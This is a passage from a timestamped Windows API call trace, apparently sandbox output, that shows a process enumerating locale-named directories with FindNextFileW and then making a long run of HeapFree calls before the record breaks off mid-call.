dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0277.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.208] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0277.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.208] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0277.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.208] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0277.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.208] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0277.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.209] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0277.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.209] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0277.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.209] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0277.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.209] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0277.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0277.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0277.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0277.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0277.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0278.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0279.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0279.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0279.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0281.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.483] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.484] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.493] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.493] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.507] HeapFree (in: 